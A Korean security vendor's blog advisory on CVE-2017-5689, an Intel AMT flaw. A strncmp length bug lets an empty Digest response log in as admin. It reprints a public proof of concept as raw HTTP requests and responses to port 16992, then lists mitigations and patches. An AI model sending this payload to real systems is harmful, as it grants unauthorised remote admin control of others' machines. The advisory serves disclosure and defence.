Wins blog

글로벌 정보보안 파트너! Global Security  No.1 윈스는 국가대표 정보보안 기업에서 글로벌 강소기업으로 도약합니다.

보안 정보

앞 내용 보기 다음 내용 보기
취약점 정보[CVE-2017-5689] Intel AMT strncmp Privilege Escala
작성일 2017-05-16 조회 1021

1.개요

Intel의 AMT(Active Management Technology)기능을 사용하면 원격에서 운영체제를 포함하여 서버등을 관리할 수 있다. 최신의 Intel Xeon 프로세서 및 관련 칩셋에서는 해당 기능을 포함하고 있는데 이 기능에서 RCE 취약점이 발견되었다.  Intel AMT는 시스템 전원이 꺼진 상황에서도 작동하므로 각별한 주의를 필요로 한다.

 

2.확인 내역

Intel-base 칩셋에는 서버 및 워크스테이션 관리를 위해 원격으로 수리 및 관리 할 수 있도록 AMT 기능을 제공한다.

칩셋에는 미리 설치된 포트 16992, 16993에 액세스 할 수 있는 웹 인터페이스를 제공하여 원격에서 관리할 수 있다.

웹 인터페이스를 통해 AMT 기능에 접근할 경우 Intel AMT는 Digest 와 Kerberos 인증 두가지 방식을 사용한다.

admin계정의 경우는 예외인데, 항상 Digest 인증만 사용한다. Digest 인증 과정은 다음과 같다.

1) 클라이언트가 서버에 로그인을 시작하돌고 요청하면 서버는 무작위로 생성된 'nonce'값을 http reponse로 반환한다.

2) 그 다음 사용자는 ID와 암호를 입력한다.

3) 클라이언트가 ID와 암호를 입력하면 서버에서 제공된 nonce값 등을 이용하여 해시화 한 후 서버에 보낸다.

4) 서버 또한 저장된 ID, 암호, nonce 등을 이용하여 해시를 계산한다.

5) 서버는 strncmp() 함수를 이용하여 두 문자열을 비교하고 일치하는 경우 로그인할 수 있게 한다.

*Digest 인증은 첫 번째 시도에서 401 Digest Challenge 응답이 발생하므로 HTTP Request는 두 번 보내야 한다.


아래 <코드 -1>은 Intel AMT 웹인터페이스에서 로그인 할 경우 서버측에서 검사하는 strncmp() 함수이다.

 

 
if(strncmp(computed_response, user_response, response_length))
exit(0x99);

<코드 -1> strncmp() 함수 코드

 

첫 번째 인자인 computed_response는 사용자에 의해 제공된 두 번째 인수인 user_response에 의해 테스트되고 세번째 인수는 응답의 길이이다. strncmp()의 세 번째 인수는 computed_response의 길이로 보여지지만 실제로는 user_response의 길이를 가리킨다. response_length는 computed_response의 길이가 돼야 하는데 코딩의 실수로 user_response의 길이로 사용된 것으로 보여진다.

로그인을 성공적으로 하기 위해선 strncmp()의 computed_response와 user_response값이 같아야 한다. 이 말은 strncmp()의 반환 값은 0이 되어야 한다는 의미이다.

이를 악용하기위해 악의적인 사용자는 로그인 과정에서 빈 문자열이 전달하면 strncmp ()는 문자열 길이를 0으로 받아들이고 비교를 하지 않는다. 그래서 공격자의 user_response가 computed_response와 같다고 판단하게 되고 그 결과 공격자는 admin 계정으로 로그인이 성공할 수 있다.

 

아래는 공개된 PoC이다.


GET /index.htm HTTP/1.1
Host: 127.0.0.1:16992
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive

 

HTTP/1.1 401 Unauthorized
WWW-Authenticate: Digest
realm="Digest:048A0000000000000000000000000000",
nonce="qTILAAUFAAAjY7rDwLSmxFCq5EJ3pH/n",stale="false",qop="auth"
Content-Type: text/html
Server: AMT
Content-Length: 678
Connection: close

GET /index.htm HTTP/1.1
Host: 127.0.0.1:16992
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Authorization: Digest username="admin",
realm="Digest:048A0000000000000000000000000000",
nonce="qTILAAUFAAAjY7rDwLSmxFCq5EJ3pH/n", uri="/index.htm", response="",
qop=auth, nc=00000001, cnonce="60513ab58858482c"


HTTP/1.1 200 OK
Date: Thu, 4 May 2017 16:09:17 GMT
Server: AMT
Content-Type: text/html
Transfer-Encoding: chunked
Cache-Control: no cache
Expires: Thu, 26 Oct 1995 00:00:00 GMT
04E6


 

3.정리

CVE-2017-5689 취약점은 Intel Xeon 프로세서 및 칩셋의 AMT(SBT, ISM포함) 기능을 사용하면 취약점이 발생한다. 주의할 점은 플랫폼이 라인 전원과 네트워크 케이블에 연결되어 있기 때문에 시스템 전원이 꺼진 상황에서도 작동을 한다는 것이다. 이말이 즉슨 전원이 꺼진 상황에서도 취약점이 발생한다는 의미이다. 따라서 해당 제품을 사용하고 있는 사용자는 반드시 펌웨어 업데이트를 할 것을 권고한다.

[취약한 버전]

Intel's AMT,ISM,SBT  V 6.x~11.6

[CVSSv3 Score : 9.8]

https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

 

4.대응방안

1)AMT 기능 비활성화

2)AMT등 기능 사용하는 포트 차단

-16992~5, 623~4

3) SniperIPS에서는 아래와 같은 패턴으로 대응 가능

   - [IPS 패턴블럭: 3482] : Intel AMT strncmp Privilege Escalation

4) Snort 패턴은 시큐어캐스트에서 확인 가능

5)해당 벤더사에서 제공하는 최신 버전으로 업데이트

https://security-center.intel.com/advisory.aspx?intelid=INTEL-SA-00075&languageid=en-fr

 

5.참고사이트

https://www.tenable.com/blog/rediscovering-the-intel-amt-vulnerability
https://security-center.intel.com/advisory.aspx?intelid=INTEL-SA-00075&languageid=en-fr
https://www.embedi.com/files/white-papers/Silent-Bob-is-Silent.pdf

첨부파일 첨부파일이 없습니다.
태그   Intel  AMT  권한상승